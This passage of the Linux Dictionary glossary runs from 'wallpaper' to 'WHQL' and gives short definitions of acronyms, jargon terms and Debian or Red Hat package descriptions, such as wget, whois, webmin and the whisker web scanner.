n. 1. A file containing a listing (e.g., assembly listing) or a transcript, esp. a file containing a transcript of all or part of a login session. (The idea was that the paper for such listings was essentially good only for wallpaper, as evidenced at Stanford, where it was used to cover windows.) Now rare, esp. since other systems have developed other terms for it (e.g., PHOTO on TWENEX). However, the Unix world doesn't have an equivalent term, so perhaps wallpaper will take hold there. The term probably originated on ITS, where the commands to begin and end transcript files were :WALBEG and :WALEND, with default file WALL PAPER (the space was a path delimiter). 2. The background pattern used on graphical workstations (this is techspeak under the `Windows' graphical user interface to MS−DOS). 3. `wallpaper file' n. The file that contains the wallpaper information before it is actually printed on paper. (Even if you don't intend ever to produce a real paper copy of the file, it is still called a wallpaper file.) From Jargon Dictionary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WAM

Warren Abstract Machine (PROLOG) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WAM

Web Application Manager (MS, Windows) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WAMIS

Wireless, Adaptive and Mobile Information Systems (ESTO) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WAN

Acronym for Wide Area Network, which is generally a network connecting several physically distant locations, as opposed to a LAN. The Internet is an example of a worldwide WAN. From KADOWKEV http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WAN

see wide−area network (WAN). From Redhat−9−Glossary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WAN

Wide Area Network From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WAN

Wide Area Network, which is generally a network connecting several physically distant locations, as opposed to a LAN. The Internet is an example of a worldwide WAN. From Linux Guide @FirstLinux http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WAN (Wide Area Network)

Any internet or network that covers an area larger than a single building or campus. From Matisse http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WAND

Wide Area Network Distribution (WAN) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wanpipe

Configuration utilities for Sangoma S508/S514 WAN cards This package installs configuration tools and firmware modules for the Sangoma S508 and S514 router cards. You may use this software to build a stable and flexible WAN router for frame−relay, PPP, or Cisco HDLC leased−line links based on these cards. This package is compiled against kernel 2.2.13. This upstream version does not have support for X.25. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WAP

Wireless Application Protocol (mobile−systems, WLAN) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WAP

Wissenschaftliche ArbeitsPlatzrechner From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Warewulf

Warewulf is a unique Linux distribution for cluster nodes. It facilitates a central administration model for all nodes and includes tools needed to build configuration files, monitor, and control the nodes. It is totally customizable and can be adapted to just about any type of cluster. The node distributions are built from a virtual node filesystem residing on the master, transfered to the nodes either by Etherboot or CDROM images, and run from RAM. Administration is scalable and easy. It was originally designed for Beowulf, but can be used in other environments as well. The initial version, 0.3, was released March 11, 2002. Version 1.11 was released May 15, 2003. A 'special purpose/mini' distribution. From LWN Distribution List http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

warm boot

A system restart performed after the system has been powered and operating. A warm boot is performed by using a special key combination or by pressing a reset button, while a cold boot involves actually turning the big red switch off and on. A warm boot is preferable to a cold start because a warm boot places less strain on your system's electrical and electronic components. See programmer's switch. From QUECID http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

warm boot

n. See boot. From Jargon Dictionary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WASP

Web stAndardS Project (WWW, W3C) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WAT

West Africa Time [−0100] (TZ) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

watanabe−vf

This package contains the Watanabe font in SYOTAI CLUB format. From Redhat 8.0 RPM http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

watanabe−vfont

Japanese Mincho font in Zeit's Syotai Club format. Vector fonts made from labosystem123 32dots font. This package replaces zeitfonts package. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

watch
call Tcl procedures before and after each command From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

watch
execute a program periodically, showing output fullscreen From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

watchdog
A software watchdog The watchdog program writes to /dev/watchdog every ten seconds. If the device is open but not written to within a minute the machine will reboot −− a feature available when "software watchdog" support is compiled into the kernel. The ability to reboot will depend on the state of the machine and interrupts. To use this software, linux 1.3.52 or later is needed. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WATS
Wide Area Telephone Service From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wav2cdr
Converts wav files into CD−ROM audio file format. This program converts wav sound files into a format suitable for CD−ROMs, and can perform some editing functions like cutting or volume change. It is rather rudimentary, the wav file must have the same sampling parameters as CD audio. Runs on big and little endian machines. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Wave table synthesis
A method, far superior to FM synthesis, of generating and reproducing music in a sound board Wave table synthesis uses a pre−recorded sample of dozens of orchestral instruments to determine how particular notes played on those instruments should sound. From QUECID http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wavemon
Wireless Device Monitoring Application Wavemon allows you to watch signal and noise levels, packet statistics, device configuration and network parameters of your wireless network hardware. It has currently only been tested with the Lucent Orinoco series of cards, although it *should* work (though with varying features) with all devices supported by the wireless kernel extensions by Jean Tourrilhes. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wavtools
WAV play, record, and compression wavtools is a set of programs to play, record, and manage the compression of sound. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wayv
Experimental hand writing/gesture recognition program Enables human computer interaction, especially using gestures inputed via the mouse. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WB
WorkBench (Amiga, Commodore) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WBC
Wide Band Channel (FDDI) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wbd

Multicast White Board This is a free clone of wb, a multicast white board application. It allows you to share a virtual white board with other people running wbd over the Mbone (multicast backbone of the Internet). You can paint, write and import text and graphics. You will need a multicast router and a connection to the Mbone if you want to share your white board with people outside of your local subnet. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WBEM
: Web Based Enterprise Management [protocol] (DMTF, BMC, Cisco, Compaq, Intel, MS) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WBI
: Web Browser Intelligence (WWW, IBM) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wbritish
: English dictionary words for /usr/share/dict This package provides the file /usr/share/dict/british−english containing a list of English words with British spellings, extracted from the ispell british dictionary. This list can be used by spelling checkers, and by programs such as look(1). From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WBS
: WissensBasierte Systeme (KI) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wc
: print the number of bytes, words, and lines in files From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WC
: WildCard multicast route entry (PIM, Multicast) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WC
: Word Count (Unix) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WCAG
: Web Content Accessibility Guidelines (WAI) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wcatalan
: The Catalan dictionary words for /usr/share/dict This package contains an alphabetic list of Catalan words as put together by Ignasi Labastida i Juan <nasi@optica.fao.ub.es> from a list of words by Joan Dolg. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WCB
: Write Combining Buffer (CPU) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WCCE
: World Conference on Computers in Education (IFIP, conference) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WCGA
: World Computer Graphics Association (org.) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WCMS
: Web Content Management Software / System (CMS) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WCS
: Writable Control Store (VAX, DEC) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WD

Western Digital [corporation] (manufacturer) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WD

Working Draft From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wdanish

The Danish dictionary / wordlist This is a flat list of Danish words and names. This can be used by spellcheckers or any other purpose needing a lot of words. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wdg−html−reference

WDGs' HTML 3.2, HTML 4, and CSS references Attractive, well laid−out guides to the HTML 3.2, HTML 4, and Cascading Style Sheets specifications in HTML format. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wdg−html−validator

WDG HTML Validator This is a CGI script which lets you enter the URL of a web page which will be then checked against a validating SGML parser for conformance to official HTML standards. Pages can also be uploaded and HTML can be directly entered. A command−line version is also included in the package. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wdiff

The GNU wdiff utility. Compares two files word by word. `wdiff' is a front−end to GNU `diff'. It compares two files, finding which words have been deleted or added to the first in order to create the second. It has many output formats and interacts well with terminals and pagers (notably with `less'). `wdiff' is particularly useful when two texts differ only by a few words and paragraphs have been refilled. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WDK

Word Developers Kit (MS) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WDL

Windows Driver Library (MS, Windows) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WDL

World Definition Language From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WDM

Wavelength Division Multiplexing [protocol] From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WDM

Windows / Win32 Driver Model (MS, Windows) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wdm

WINGs Display Manager − an xdm replacement with a WindowMaker look This is an xdm replacement based on the WINGs widget set. WINGs is the NeXT−like widget set used by WindowMaker and some other programs. wdm provides a nice and versatile login panel along with xdm functionality. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WDMCSA

Windows Driver Model Connection and Streaming Architecture (MS, Windows, WDM) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WDP

WatchDog Process From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WDS

WatchDog Server From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WDT
: Watch Dog Timer From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WDT
: Western [european] Daylight Time [+0100] (TZ, WET) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wdutch
: List of Dutch words in new (August 1996) spelling. This package contains an alphabetic list of 229365 Dutch words. See the idutch package for the same wordlist in a format suitable for the spelling checker ispell. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

weave
: translate WEB to TeX From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Web
: In the World Wide Web or any hypertext systems a set of related documents that together make up a hypertext presentation. The documents do not have to be stored on the same computer system, but they are explicitly interlinked, generally by providing internal navigation buttons. A web generally induces a welcome page that serves as the top−level document (home page) of the web. From QUECID http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Web
: see World Wide Web (WWW). From Redhat−9−Glossary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Web browser
: A program that runs on an Internet−connected computer and provides access to the riches of the World Wide Web (WWW). Web browsers are of two kinds; text−only browsers and graphical Web browsers such as NCSA Mosaic and Netscape Navigator. Graphical browsers are preferable because you can see in−line images, fonts, and document layouts. From QUECID http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Web browser
: An application that accesses and displays hypertext markup language (HTML) webpages and other resources available on the World Wide Web (WWW). From Redhat−9−Glossary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Web page
: A document designed for viewing in a web browser. Typically written in HTML. From Matisse http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

webalizer
: Web server log analysis program The Webalizer is a web server log analysis program. It is designed to scan web server log files in various formats and produce usage statistics in HTML format for viewing through a browser. The Webalizer produces yearly, monthly, daily and hourly statistics. In the monthly reports, various statistics may be produced to show overall usage, usage by day and hour, usage by visiting sites, URLs, user agents (browsers), referrers and country. The Webalizer is highly configurable by use of either command line options or a configuration file, allowing the program to be tailored to individual needs easily. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

webbase
: A crawler/indexer for the Internet webbase is a crawler for the Internet. It has two main functions : crawl the WEB to get documents and build a full text database with this documents. The crawler part visit the documents and store intersting information about them localy. It visits the document on a regular basis to make sure that it is still there and updates it if it changes. The full text database uses the localy copies of the document to build a searchable index. The full text indexing functions are not included in webbase. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

webcam
: capture and upload images webcam captures images from a video4linux device like bttv, annotates them and and uploads them to a webserver using ftp in a endless loop. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WEBDAV
: Web Distributed Authoring and Versioning (WWW), "webDAV" From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Webfish Linux
: Webfish Linux is a small, stripped down Linux distribution based on GNU source packages. Webfish is built with the more experienced user in mind and is aimed at small, fast, secure server and workstation systems with a minimum of installed packages. The initial release of Webfish Linux, version 0.9b, was released June 20, 2002. Version 1.0pre1 was released on March 25, 2003. The Webfish Linux Firewall−1 branch released its initial verion, 1.1, on July 24, 2002. Fishwall 1.2 was released August 27, 2002. From LWN Distribution List http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

webfs
: lightweight http server for static content This is a simple http server for purely static content. You can use it to serve the content of a ftp server via http for example. It is also nice to export some files the quick way by starting a http server in a few seconds, without editing some config file first. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

weblint
: a syntax and minimal style checker for HTML This is perl script which picks fluff off html pages, much in the same way traditional lint picks fluff off C programs. The script is pretty much a a wrapper around the Weblint module. It currently supports HTML 4.0 (and only HTML 4.0). It allows the various syntax and stylistic checks to be enabled or disabled by the user or in a system−wide configuration file. NOTE: This is a beta release of Weblint 2.0 that provides a subset of of the final functionality. There are one or two features from 1.020 that aren't currently available. But this implements just about all the warnings from 1.020 and uses current HTML standards. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

webmagick
: create gallery thumbnails for website WebMagick provides a means of easily putting image collections on the Web. It recurses through directory trees, building HTML pages and imagemap (GIF or JPEG) files to allow the user to navigate through collections of thumbnail images (somewhat similar to 'xv') and select the images to view with a mouse click. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

webmin
: A web−based administration interface for Unix systems. Using Webmin youcan configure DNS, Samba, NFS, local/remote filesystems, Apache, Sendmail/Postfix, and more using your web browser. After installation, enter the URL https://localhost:10000/ into your browser and login as root with your root password. Please consider logging in and modify your password for security issue. PLEASE NOTE THAT THIS VERSION NOW USES SECURE WEB TRANSACTIONS: YOU HAVE TO LOGIN TO "https://localhost:10000/" AND NOT "http://localhost:10000/". From Mandrake 9.0 RPM http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

webmin
: Web−based administration toolkit Webmin is a web−based interface for system administration for Unix. Using any browser that supports tables and forms (and Java for the File Manager module), you can setup user accounts, Apache, DNS, file sharing and so on. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

webpage
: A page that contains text, images, and multimedia presentations and is viewable in a Web browser. From Redhat−9−Glossary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

webrick
: Simple HTTP Server Toolkit for Ruby WEBrick is a Ruby library program to build HTTP servers. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

websec
: Web Secretary Web Secretary is a web page monitoring software. However, it goes beyond the normal functionalities offered by such software. Not only does it detect changes based on content analysis (instead of date/time stamp or simple textual comparison), it will email the changed page to you WITH THE NEW CONTENT HIGHLIGHTED! From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

website
: A collection of webpages, files, and other resources published or aggregated by one source. From Redhat−9−Glossary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WECA
: Wireless Ethernet Compatibility Alliance (org., WLAN, LAN) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WEEB
: Western Europe EDIFACT Board (org., EDIFACT), "WE/EB" From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

weex
: A non−interactive FTP client for updating web pages Weex is an utility designed to automate the task of remotely maintaining a web page or other FTP archive. With weex, the maintainer of a web site or archive that must be administered through FTP interaction can largely ignore that process. The archive administrator simply creates a local directory that serves as an exact model for the off−site data. All modifications and direct interaction is done locally to this directory structure. When the administrator wishes to coordinate the data on the remote site with that of the local model directory, simply executing weex accomplishes this in the most bandwidth−efficient fashion by only transferring files that need updating. The program will create or remove (!) files or directories as necessary to accurately establish the local model on the remote server. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WEFT
: Web Embedding Font Tool (MS, WWW) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

welcome2l
: Linux ANSI boot logo. This is a little program that may run at login time to produce nice ANSI login logo. Welcome2L intends to produce the best looking ANSI screens by making full usage of PC graphic characters. Therefore an architecture able to display those characters (i386, Alpha with TGA adapter,...) is required to use it. And, even if it will work on larger screens, it will only produce 80 column ANSI screens. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WELL
: Whole Earth 'Lectronic Net (network) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

well−behaved
: adj. 1. [primarily MS−DOS] Said of software conforming to system interface guidelines and standards. Well−behaved software uses the operating system to do chores such as keyboard input, allocating memory and drawing graphics. Oppose ill−behaved. 2. Software that does its job quietly and without counterintuitive effects. Esp. said of software having an interface spec sufficiently simple and well−defined that it can be used as a tool by other software. See cat. 3. Said of an algorithm that doesn't crash or blow up, even when given pathological input. Implies that the stability of the algorithm is intrinsic, which makes this somewhat different from bulletproof. From Jargon Dictionary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wemi

Branch of SEMI kernel package using widget. WEMI is a branch of the SEMI package using widgets. It is a library adding MIME features to Emacs, based on SEMI, which also available as a Debian package. It is a replacement of SEMI, containing all of SEMI's features. WEMI does not support anything older than Emacs 19.28 or XEmacs 19.14. WEMI also does not support Emacs 19.29 to 19.34, XEmacs 19.15 or XEmacs 20.2 without mule, but WEMI may work with them. ==== SEMI is a library adding MIME features to Emacs. MIME is a proposed internet standard allowing the use of other character sets than (ASCII) plain text in the contents and headers of messages. ==== From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wenglish

English dictionary words for /usr/share/dict This package provides the file /usr/share/dict/american−english containing a list of English words with American spellings. This list can be used by spelling checkers, and by programs such as look(1). From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WEP

Wired Equivalent Privacy (WLAN) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WESTNET

WESTern regional NETwork (network, USA), "Westnet" From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WET

Western European Time [+0000] (TZ, WDT) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wfaroese

The Faroese dictionary / wordlist This is a flat list of Faroese words and names. This can be used by spellcheckers or any other purpose needing a lot of words. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WFC

Wait for Caller (BBS) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WFC

Windows Foundation Classes (MS, Java, API) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wfinnish

A small Finnish dictionary for /usr/share/dict. This is a list of Finnish words and names in various inflected forms, containing roughly 0.7 million items, to be used for whatever purpose you may think of. Larger lists (roughly two or over six million items) can be manually generated from the medium−size and large Finnish Ispell dictionaries in packages ifinnish and ifinnish−large. Please find instructions in /usr/share/doc/wfinnish/README.Debian after installing this package. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WFM

Wired For Management (Intel), "WfM" From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WFM

Works For Me (slang, Usenet, IRC) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WFMC

WorkFlow Management Coalition (org.), "WfMC" From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WFQ

Weighted Fair Queueing (VOIP) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wfrench
French dictionary words for /usr/share/dict This package provides the file /usr/share/dict/french containing a list of French words. This list can be used by spelling checkers, and by programs such as look(1). From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WFW
Windows For Workgroups (MS), "WfW" From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WG
Working Group (SC, ISO, IEC, ETSI) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wgerman
The German dictionary for /usr/share/dict. This is the German dictionary as put together by heinz.knutzen@web.de. This dictionary refers to the old German orthography. For the new orthography see wngerman. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wget
GNU Wget is a file retrieval utility which can use either the HTTP or FTP protocols. Wget features include the ability to work in the background while you are logged out, recursive retrieval of directories, file name wildcard matching, remote file time stamp storage and comparison, use of Rest with FTP servers and Range with HTTP servers to retrieve files over slow or unstable connections,support for Proxy servers, and configurability. From Redhat 8.0 RPM http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wget
retrieves files from the web Wget is a network utility to retrieve files from the Web using http and ftp, the two most widely used Internet protocols. It works non−interactively, so it will work in the background, after having logged off. The program supports recursive retrieval of web−authoring pages as well as ftp sites −− you can use wget to make mirrors of archives and home pages or to travel the Web like a WWW robot. Wget works particularly well with slow or unstable connections by continuing to retrieve a document until the document is fully downloaded. Re−getting files from where it left off works on servers (both http and ftp) that support it. Both http and ftp retrievals can be time stamped, so wget can see if the remote file has changed since the last retrieval and automatically retrieve the new version if it has. Wget supports proxy servers; this can lighten the network load, speed up retrieval, and provide access behind firewalls. http://www.gnu.org/software/wget/ From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

what you see is what you get (wysiwyg)
Concept that is commonly utilized by complex document formatting applications for ease of use and accurate rendering. As a user creates a document, it is rendered on a display as it appears when it is saved, printed, or sent to another party. From Redhat−9−Glossary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

whatis
display manual page descriptions From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WHCA
White House Communications Agency (DISA) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wheel bit
n. A privilege bit that allows the possessor to perform some restricted operation on a timesharing system, such as read or write any file on the system regardless of protections, change or look at any address in the running monitor, crash or reload the system, and kill or create jobs and user accounts. The term was invented on the TENEX operating system, and carried over to TOPS−20, XEROX−IFS, and others. The state of being in a privileged logon is sometimes called `wheel mode'. This term

entered the Unix culture from TWENEX in the mid−1980s and has been gaining popularity there (esp. at university sites). See also root. From Jargon Dictionary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

wheel of reincarnation

[coined in a paper by T. H. Myer and I.E. Sutherland "On the Design of Display Processors", Comm. ACM, Vol. 11, no. 6, June 1968)] Term used to refer to a well−known effect whereby function in a computing system family is migrated out to special−purpose peripheral hardware for speed, then the peripheral evolves toward more computing power as it does its job, then somebody notices that it is inefficient to support two asymmetrical processors in the architecture and folds the function back into the main CPU, at which point the cycle begins again. Several iterations of this cycle have been observed in graphics−processor design, and at least one or two in communications and floating−point processors. Also known as `the Wheel of Life', `the Wheel of Samsara', and other variations of the basic Hindu/Buddhist theological idea. See also blitter, bit bang. From Jargon Dictionary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

whereami

Automatically reconfigure your (laptop) system for a new location whereami is a set of useful scripts and a coordinating system for automatically re−locating your computer within the current (network) environment. Typically, you would use whereami to automatically detect and re−configure your laptop when you move between a variety of diverse networks and/or docking environments. Although whereami will work best if all of your networks assign addresses through dhcp, this is not a pre−requisite and the system allows any technique to be used to ascertain the new location with as little ongoing user intervention as possible. Having ascertained the correct location, whereami will run appropriate (user−configured) scripts to adjust the laptop operation to suit the current environment. See http://debiana.net/whereami/ for more information. You may also get useful assistance from the debian−laptop mailing list, which is frequented by several of the contributors. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

whereis

locate the binary, source, and manual page files for a command From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

which

The which command shows the full pathname of a specified program, if the specified program is in your PATH. From Redhat 8.0 RPM http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

whichman

Fault tolerant search utilities: whichman, ftff, ftwhich. whichman uses a fault tolerant approximate matching algorithm to search for man−pages that match approximately the specified name. The fault tolerant matching is very useful in cases where you remember only roughly the name of a command. Example: whichman netwhat This finds netstat.8: /usr/share/man/man8/netstat.8 ftff searches the directory tree. This is a case in−sensitive and fault tolerant way of 'find . −name xxxx −print'. ftwhich finds files which are in one of the directories in your PATH and uses a fault tolerant search algorithm. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WHIIG

Windows Hardware Instrumentation Implementation Guidelines (MS, Windows) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

whiptail

Displays user−friendly dialog boxes from shell scripts. whiptail is a "dialog" replacement using newt instead of ncurses. It provides a method of displaying several different types of dialog boxes from shell scripts. This allows a developer of a script to interact with the user in a much friendlier manner. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

whiptail−utf8

Displays user−friendly dialog boxes from shell scripts. whiptail is a "dialog" replacement using newt instead of ncurses. It provides a method of displaying several different types of dialog boxes from shell scripts. This allows a developer of a script to interact with the user in a much friendlier manner. This version of whiptail is compiled and linked against utf8 version of the libraries. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

whisker

CGI scanner to audit web servers Whisker is a state−of−the−art CGI scanner that can: − detect the running web server and perform only tests specific to that server and version − apply intrusion detection evasion methods − do brute force on accounts using HTTP−AUTH − use virtual hosts − run in multi−thread mode It can output the information in different formats including HTML and nmap. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

White Book

n. 1. Syn. K&R. 2. Adobe's fourth book in the PostScript series, describing the previously−secret format of Type 1 fonts; "Adobe Type 1 Font Format, version 1.1", (Addison−Wesley, 1990, ISBN 0−201−57044−0). See also Red Book, Green Book, Blue Book. From Jargon Dictionary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

White Dwarf Linux

White Dwarf Linux is named for a White Dwarf Star. White Dwarf Stars are small but extremely dense stars. White Dwarf Linux is small enough to load in 16MB of Flash, but dense enough to contain the features that embedded applications demand. Version 1.2.0 was released July 28, 2002. From LWN Distribution List http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

white−hat hackers (ethical−hacking)

So−called "ethical" hackers who work with clients in order to help them secure their systems. White−hats can be: members of tiger teams system hardening specialists researchers looking for vulnerabilities (with the goal of finding them and removing them before the black−hats). Contrast: Whereas a "white−hate" is considered a "good guy", a "black−hat" describes the "bad" hackers. See also: penetration testing From Hacking−Lexicon http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

whitelist

n. The opposite of a blacklist. That is, instead of being an explicit list of people who are banned, it's an explicit list of people who are to be admitted. Hackers use this especially of lists of email addresses that are explicitly enabled to get past strict anti−spam filters. From Jargon Dictionary http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

whizzytex

a WYSIWIG environment for LaTeX WhizzyTeX is an emacs minor mode for incrementally (TeXing and) previewing a LaTeX file that you are editing. It works with ghostview−based and xdvi−based previewers, but best visual effect and more options will be available if you use the advi previewer. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

who

show who is logged on From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

who

Shows who is logged on. From Linux Guide @FirstLinux http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

whoami

print effective userid From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

whois

A whois client that accepts both traditional and finger−style queries. From Redhat 8.0 RPM http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

whois

client for the whois directory service From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

whois

The GNU whois client This is a new whois (RFC 954) client rewritten from scratch by me. It is derived from and compatible with the usual BSD and RIPE whois(1) programs. It is intelligent and can automatically select the appropriate whois server for most queries. The package also contains mkpasswd, a simple front end to crypt(3). From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WHOLIS
World Health Organization Library Information System (org., UNO) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WHOSIS
World Health Organization Statistical Information System (org., UNO) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

whowatch
Real−time user logins monitoring tool. whowatch is a ncurses who−like utility that displays information about the users currently logged on to the machine, in real−time. Besides standard information (login name, tty, host, user's process), the type of the connection (ie. telnet or ssh) is shown. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

WHQL
